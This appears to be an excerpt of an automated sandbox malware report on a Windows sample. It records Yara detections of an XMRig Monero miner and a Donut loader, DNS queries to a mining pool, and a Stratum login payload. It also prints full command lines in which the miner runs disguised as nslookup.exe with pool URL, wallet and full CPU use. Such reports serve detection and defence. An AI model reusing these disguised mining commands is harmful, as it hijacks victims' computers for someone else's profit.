Source: Yara match	File source: 00000009.00000003.1775332478.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1779467909.000001E32C452000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1772421269.000001E32C453000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1788508164.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1770961178.0000013CBC453000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1780781024.000001E32C458000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1776641956.000001E32C456000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1775882569.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1790022060.0000013CBC459000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1784241324.000001E32C451000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1772851303.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1773553446.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1772933403.000001E32C458000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1774784480.000001E32C453000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1774354264.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: conhost.exe PID: 5348, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: conhost.exe PID: 4136, type: MEMORYSTR

DNS related to crypt mining pools

Source: unknown

DNS query: name: xmr-eu1.nanopool.org

Detected Stratum mining protocol

Source: global traffic	TCP traffic: 192.168.2.4:49730 -> 212.47.253.124:10300 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"45dxysg6jefipo688i2dkjfnbpbgzcjxpmylrn8trmpsyqh37gdzkmehpjxrvfxabzf32ifsrrlqekoa1zsiskrjnyjydqg","pass":"","agent":"xmrig/6.15.2 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2019","rigid":"","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","cn/1","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja","astrobwt"]}}.
Source: global traffic	TCP traffic: 192.168.2.4:49731 -> 212.47.253.124:10300 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"45dxysg6jefipo688i2dkjfnbpbgzcjxpmylrn8trmpsyqh37gdzkmehpjxrvfxabzf32ifsrrlqekoa1zsiskrjnyjydqg","pass":"","agent":"xmrig/6.15.2 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2019","rigid":"","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","cn/1","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja","astrobwt"]}}.

Found strings related to Crypto-Mining

Source: conhost.exe, 00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: conhost.exe, 00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: cryptonight/0
Source: conhost.exe, 00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: conhost.exe, 00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: conhost.exe, 00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: conhost.exe, 00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]

Networking

Uses nslookup.exe to query domains

Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\nslookup.exe C:\Windows/System32\nslookup.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10300 --user=45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG --pass= --cpu-max-threads-hint=100
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\nslookup.exe C:\Windows/System32\nslookup.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10300 --user=45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG --pass= --cpu-max-threads-hint=100
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\nslookup.exe C:\Windows/System32\nslookup.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10300 --user=45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG --pass= --cpu-max-threads-hint=100	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\nslookup.exe C:\Windows/System32\nslookup.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10300 --user=45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG --pass= --cpu-max-threads-hint=100	Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.4:49730 -> 212.47.253.124:10300

Source: Joe Sandbox View

IP Address: 212.47.253.124 212.47.253.124

Source: Joe Sandbox View

ASN Name: OnlineSASFR OnlineSASFR

Source: Network traffic

Suricata IDS: 2826930 - Severity 2 - ETPRO COINMINER XMR CoinMiner Usage : 192.168.2.4:49731 -> 212.47.253.124:10300

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: xmr-eu1.nanopool.org

Source: conhost.exe, 00000001.00000002.1725964191.000001575B3C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: conhost.exe, 00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1782171158.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1780152081.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1780613340.0000013CBC456000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1786769697.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1771637621.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1777881414.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1776373079.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1776847391.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1782890833.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1770961178.0000013CBC453000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1790022060.0000013CBC459000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1773661287.000001E32C45B000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1778062444.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1777548683.000001E32C456000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1787144711.000001E32C45F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1779837512.000001E32C459000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1776176780.000001E32C457000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1785377801.000001E32C45A000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1775687094.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/benchmark/%s
Source: conhost.exe, 00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1782171158.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1780152081.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1780613340.0000013CBC456000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1786769697.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1771637621.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1777881414.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1776373079.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1776847391.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1782890833.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1770961178.0000013CBC453000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1790022060.0000013CBC459000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1773661287.000001E32C45B000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1778062444.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1777548683.000001E32C456000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1787144711.000001E32C45F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1779837512.000001E32C459000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1776176780.000001E32C457000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1785377801.000001E32C45A000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1775687094.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms
Source: conhost.exe, 00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1782171158.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1780152081.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1780613340.0000013CBC456000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1786769697.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1771637621.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1777881414.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1776373079.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1776847391.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1782890833.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1770961178.0000013CBC453000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1790022060.0000013CBC459000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1773661287.000001E32C45B000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1778062444.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1777548683.000001E32C456000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1787144711.000001E32C45F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1779837512.000001E32C459000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1776176780.000001E32C457000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1785377801.000001E32C45A000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1775687094.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard
Source: conhost.exe, 00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1782171158.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1780152081.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1780613340.0000013CBC456000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1786769697.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1771637621.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1777881414.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1776373079.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1776847391.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1782890833.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1770961178.0000013CBC453000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1790022060.0000013CBC459000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1773661287.000001E32C45B000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1778062444.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1777548683.000001E32C456000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1787144711.000001E32C45F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1779837512.000001E32C459000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1776176780.000001E32C457000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1785377801.000001E32C45A000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1775687094.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard%s

System Summary

Malicious sample detected (through community Yara rule)

Source: 12.2.nslookup.exe.140000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 12.2.nslookup.exe.140000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 12.2.nslookup.exe.140000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 13.2.nslookup.exe.140000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 13.2.nslookup.exe.140000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 13.2.nslookup.exe.140000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 12.2.nslookup.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 12.2.nslookup.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 12.2.nslookup.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 13.2.nslookup.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 13.2.nslookup.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 13.2.nslookup.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000000.00000002.1692437543.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000000.00000002.1692437543.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_5c38878d Author: unknown
Source: 00000005.00000002.1747235973.0000000000B52000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000005.00000002.1747235973.0000000000B52000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_5c38878d Author: unknown
Source: 00000009.00000003.1782171158.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1773661287.000001E32C45B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1778567981.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1778062444.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1787144711.000001E32C45F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000009.00000003.1777354712.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000009.00000003.1786769697.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000009.00000003.1774881873.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1776176780.000001E32C457000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1782316167.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000009.00000003.1771637621.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000009.00000003.1780152081.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000009.00000003.1777881414.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000E.00000002.2901128329.0000029965300000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000000E.00000002.2901128329.0000029965300000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_5c38878d Author: unknown
Source: 0000000A.00000002.1784948706.00000000005C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000000A.00000002.1784948706.00000000005C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_5c38878d Author: unknown
Source: 00000009.00000003.1776373079.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000008.00000002.1757539408.0000000000A5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000008.00000002.1757539408.0000000000A5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_5c38878d Author: unknown
Source: 0000000B.00000003.1777548683.000001E32C456000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000009.00000003.1781637275.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1785377801.000001E32C45A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1779837512.000001E32C459000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000009.00000003.1779369936.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000009.00000003.1780613340.0000013CBC456000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000D.00000002.2900249494.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000D.00000002.2900249494.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 0000000D.00000002.2900249494.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000009.00000003.1776847391.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000C.00000002.2900254186.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000C.00000002.2900254186.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 0000000C.00000002.2900254186.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000009.00000003.1782890833.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1775687094.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000001.00000002.1725057798.0000015759250000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000001.00000002.1725057798.0000015759250000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_5c38878d Author: unknown
Source: 0000000B.00000003.1780288557.000001E32C455000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000009.00000003.1779753714.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000009.00000003.1784061209.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1779051954.000001E32C453000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1783041722.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1781787948.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000009.00000003.1778886806.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1775201573.000001E32C458000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1777129699.000001E32C45A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1774272742.000001E32C455000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000009.00000003.1775332478.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1779467909.000001E32C452000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1772421269.000001E32C453000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1788508164.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000009.00000003.1770961178.0000013CBC453000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1780781024.000001E32C458000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1776641956.000001E32C456000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000009.00000003.1775882569.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000009.00000003.1790022060.0000013CBC459000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1784241324.000001E32C451000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000009.00000003.1772851303.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1772933403.000001E32C458000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000009.00000003.1773553446.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000B.00000003.1774784480.000001E32C453000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
